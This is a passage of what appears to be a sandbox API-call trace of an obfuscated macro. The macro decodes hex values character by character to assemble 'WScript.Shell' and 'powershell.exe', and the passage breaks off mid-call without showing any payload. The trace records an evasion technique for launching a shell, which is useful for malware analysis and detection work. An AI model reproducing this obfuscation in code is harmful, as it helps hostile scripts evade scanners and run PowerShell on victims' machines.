lpWideCharStr=0x2885da87d58, cchWideChar=1 | out: lpWideCharStr="h") returned 1 [0071.883] VarBstrCat (in: bstrLeft="WScript.S", bstrRight="h", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.883] VarBstrCat (in: bstrLeft="&H", bstrRight="CA", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.883] VarParseNumFromStr (in: strIn="&HCA", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.883] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.883] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87548, cchWideChar=1 | out: lpWideCharStr="Ê") returned 1 [0071.883] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Ê", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Ê£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.883] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f68, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0071.883] VarBstrCat (in: bstrLeft="WScript.Sh", bstrRight="e", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.883] VarBstrCat (in: bstrLeft="&H", bstrRight="D8", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.883] VarParseNumFromStr (in: strIn="&HD8", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.883] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.884] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87d58, cchWideChar=1 | out: lpWideCharStr="Ø") returned 1 [0071.884] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Ø", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Ø£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.884] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87548, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0071.884] VarBstrCat (in: bstrLeft="WScript.She", bstrRight="l", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.884] VarBstrCat (in: bstrLeft="&H", bstrRight="D8", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.884] VarParseNumFromStr (in: strIn="&HD8", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.884] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.884] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f68, cchWideChar=1 | out: lpWideCharStr="Ø") returned 1 [0071.884] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Ø", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Ø£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.884] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87d58, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0071.884] VarBstrCat (in: bstrLeft="WScript.Shel", bstrRight="l", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.884] VarBstrCat (in: bstrLeft="&H", bstrRight="E0", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.884] VarParseNumFromStr (in: strIn="&HE0", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.885] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.885] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr="à") returned 1 [0071.885] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="à", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ࣵ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.885] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87d58, cchWideChar=1 | out: lpWideCharStr="p") returned 1 [0071.885] VarBstrCat (in: bstrLeft=0x0, bstrRight="p", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.885] VarBstrCat (in: bstrLeft="&H", bstrRight="DE", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.885] VarParseNumFromStr (in: strIn="&HDE", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.885] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.885] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da875d8, cchWideChar=1 | out: lpWideCharStr="Þ") returned 1 [0071.885] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Þ", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Þ£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.885] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0071.885] VarBstrCat (in: bstrLeft="p", bstrRight="o", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.885] VarBstrCat (in: bstrLeft="&H", bstrRight="EE", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.885] VarParseNumFromStr (in: strIn="&HEE", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.885] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.886] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87548, cchWideChar=1 | out: lpWideCharStr="î") returned 1 [0071.886] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="î", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.886] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da875d8, cchWideChar=1 | out: lpWideCharStr="w") returned 1 [0071.886] VarBstrCat (in: bstrLeft="po", bstrRight="w", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.886] VarBstrCat (in: bstrLeft="&H", bstrRight="CA", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.886] VarParseNumFromStr (in: strIn="&HCA", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.886] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.886] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr="Ê") returned 1 [0071.886] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Ê", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Ê£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.886] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87548, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0071.886] VarBstrCat (in: bstrLeft="pow", bstrRight="e", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.886] VarBstrCat (in: bstrLeft="&H", bstrRight="E4", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.886] VarParseNumFromStr (in: strIn="&HE4", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.886] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.887] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da875d8, cchWideChar=1 | out: lpWideCharStr="ä") returned 1 [0071.887] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ä", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="䣵½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.887] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr="r") returned 1 [0071.887] VarBstrCat (in: bstrLeft="powe", bstrRight="r", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.887] VarBstrCat (in: bstrLeft="&H", bstrRight="E6", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.887] VarParseNumFromStr (in: strIn="&HE6", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.887] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.887] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87548, cchWideChar=1 | out: lpWideCharStr="æ") returned 1 [0071.887] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="æ", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="棵½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.887] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da875d8, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0071.887] VarBstrCat (in: bstrLeft="power", bstrRight="s", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.887] VarBstrCat (in: bstrLeft="&H", bstrRight="D0", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.888] VarParseNumFromStr (in: strIn="&HD0", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.888] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.888] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr="Ð") returned 1 [0071.888] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Ð", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Уµ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.888] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87548, cchWideChar=1 | out: lpWideCharStr="h") returned 1 [0071.888] VarBstrCat (in: bstrLeft="powers", bstrRight="h", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.888] VarBstrCat (in: bstrLeft="&H", bstrRight="CA", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.888] VarParseNumFromStr (in: strIn="&HCA", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.888] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.888] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da875d8, cchWideChar=1 | out: lpWideCharStr="Ê") returned 1 [0071.888] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Ê", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Ê£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.888] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0071.889] VarBstrCat (in: bstrLeft="powersh", bstrRight="e", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.889] VarBstrCat (in: bstrLeft="&H", bstrRight="D8", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.889] VarParseNumFromStr (in: strIn="&HD8", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.889] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.889] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87548, cchWideChar=1 | out: lpWideCharStr="Ø") returned 1 [0071.889] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Ø", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Ø£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.889] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da875d8, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0071.889] VarBstrCat (in: bstrLeft="powershe", bstrRight="l", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.889] VarBstrCat (in: bstrLeft="&H", bstrRight="D8", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.889] VarParseNumFromStr (in: strIn="&HD8", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.889] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.889] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr="Ø") returned 1 [0071.889] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Ø", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Ø£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.889] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87548, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0071.889] VarBstrCat (in: bstrLeft="powershel", bstrRight="l", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.890] VarBstrCat (in: bstrLeft="&H", bstrRight="5C", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.890] VarParseNumFromStr (in: strIn="&H5C", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.890] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.890] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da875d8, cchWideChar=1 | out: lpWideCharStr="\\") returned 1 [0071.890] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\\", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\\£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.890] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr=".") returned 1 [0071.890] VarBstrCat (in: bstrLeft="powershell", bstrRight=".", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.890] VarBstrCat (in: bstrLeft="&H", bstrRight="CA", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.890] VarParseNumFromStr (in: strIn="&HCA", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.890] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.890] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87548, cchWideChar=1 | out: lpWideCharStr="Ê") returned 1 [0071.890] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Ê", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Ê£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.890] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da875d8, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0071.890] VarBstrCat (in: bstrLeft="powershell.", bstrRight="e", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.891] VarBstrCat (in: bstrLeft="&H", bstrRight="F0", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.891] VarParseNumFromStr (in: strIn="&HF0", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.891] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.891] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr="ð") returned 1 [0071.891] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ð", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="𣵽ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.891] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87548, cchWideChar=1 | out: lpWideCharStr="x") returned 1 [0071.891] VarBstrCat (in: bstrLeft="powershell.e", bstrRight="x", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.891] VarBstrCat (in: bstrLeft="&H", bstrRight="CA", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.891] VarParseNumFromStr (in: strIn="&HCA", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.891] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.891] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87d58, cchWideChar=1 | out: lpWideCharStr="Ê") returned 1 [0071.891] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Ê", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Ê£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.891] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0071.891] VarBstrCat (in: bstrLeft="powershell.ex", bstrRight="e", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.892] VarBstrCat (in: bstrLeft="&H", bstrRight="%B", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.892] VarParseNumFromStr (in: strIn="&H%B", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x80020005 [0071.892] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87e48, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0071.892] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0071.892] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0071.892] VarBstrCat (in: bstrLeft=0x0, bstrRight="", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.892] VarBstrCat (in: bstrLeft="&H", bstrRight="AT", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.892] VarParseNumFromStr (in: strIn="&HAT", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.892] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.892] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f38, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0071.892] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.892] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87e48, cchWideChar=1 | out: lpWideCharStr="\x05") returned 1 [0071.893] VarBstrCat (in: bstrLeft="", bstrRight="\x05", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.893] VarBstrCat (in: bstrLeft="&H", bstrRight="%", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.893] VarParseNumFromStr (in: strIn="&H%", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, 